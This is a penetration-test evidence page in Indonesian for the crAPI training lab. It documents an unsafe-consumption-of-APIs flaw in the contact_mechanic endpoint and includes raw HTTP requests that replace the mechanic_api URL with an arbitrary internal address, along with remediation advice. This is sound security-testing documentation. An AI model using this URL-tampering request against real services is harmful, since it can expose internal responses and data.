Unsafe Consumption of APIs - Workshop - Contact Mechanic Upstream
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
crAPI/Evidence/[FAIL] Unsafe Consumption of APIs - Workshop - Contact Mechanic Upstream
01 — Catatan
Catatan pengujian
Kerentanan
Deskripsi
Dampak
CWE
OWASP
Skenario
Endpoint
Fitur terdampak
Rekomendasi perbaikan
Bukti konsep
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] Unsafe Consumption of APIs - Workshop - Contact Mechanic Upstream
Description:
Endpoint contact_mechanic mengonsumsi respons dari mechanic API (URL yang dikendalikan klien) dan memantulkannya kembali ke pengguna tanpa memvalidasi/menyaring struktur maupun isinya. Aplikasi secara implisit mempercayai data dari API upstream.
Impact:
Confidentiality & Integrity: data upstream yang tidak tepercaya (dan dapat dikendalikan penyerang) dipantulkan/diproses apa adanya; dapat dipakai untuk mengeksfiltrasi respons internal atau menyuntikkan konten yang dipercaya aplikasi.
CWE:
CWE-20: Improper Input Validation (terkait CWE-345: Insufficient Verification of Data Authenticity)
OWASP:
API10:2023 - Unsafe Consumption of APIs
Scenario:
Normal: workshop mengonsumsi mechanic API sah. Eksploitasi: URL upstream diganti sembarang -> respons mentah dipantulkan tanpa validasi.
Endpoint:
POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic
Affected Feature:
Contact Mechanic / integrasi mechanic API (crapi-workshop)
Remediation:
- Validasi & saring respons upstream (skema, tipe konten) sebelum diproses/dipantulkan.
- Batasi tujuan upstream ke daftar putih tepercaya (lihat juga temuan SSRF).
- Jangan pantulkan respons mentah ke klien.
POC:
1) (Screenshot 1) NORMAL: contact_mechanic mengonsumsi mechanic API dan menyertakan responsnya.
2) (Screenshot 2) EKSPLOITASI: ganti mechanic_api ke URL sembarang -> workshop memantulkan respons mentah upstream tanpa validasi (unsafe consumption).
02 — Tangkapan layar
Tangkapan layar (2)
Normal: workshop memanggil API mekanik dan menyertakan response-nya dalam response_from_mechanic_api tanpa memeriksa struktur response.
Dampak: URL upstream dapat diganti secara bebas. Workshop mengambil dan mengembalikan response mentah, termasuk HTML atau error, tanpa validasi. Akibatnya, aplikasi mempercayai data upstream yang dikendalikan penyerang.
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code":"TRAC_JHN","problem_details":"x","mechanic_api":"http://127.0.0.1:8888/workshop/api/mechanic/","number_of_repeats":1,"vin":"861P9NB3CL6ZEA9X1"}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270
{
"response_from_mechanic_api": {
"mechanics": [
{
"id": 1,
"mechanic_code": "TRAC_JHN",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
},
{
"id": 2,
"mechanic_code": "TRAC_JME",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
}
],
"previous_offset": null,
"next_offset": null
},
"status": 200
}Normal: workshop memanggil API mekanik dan menyertakan response-nya dalam response_from_mechanic_api tanpa memeriksa struktur response.
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code":"TRAC_JHN","problem_details":"x","mechanic_api":"http://127.0.0.1:8888/community/api/v2/community/posts/recent","number_of_repeats":1,"vin":"861P9NB3CL6ZEA9X1"}HTTP/1.1 404 Not Found
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 237
{
"response_from_mechanic_api": "\n<!doctype html>\n<html lang=\"en\">\n<head>\n <title>Not Found</title>\n</head>\n<body>\n <h1>Not Found</h1><p>The requested resource was not found on this server.</p>\n</body>\n</html>\n",
"status": 404
}Dampak: URL upstream dapat diganti secara bebas. Workshop mengambil dan mengembalikan response mentah, termasuk HTML atau error, tanpa validasi. Akibatnya, aplikasi mempercayai data upstream yang dikendalikan penyerang.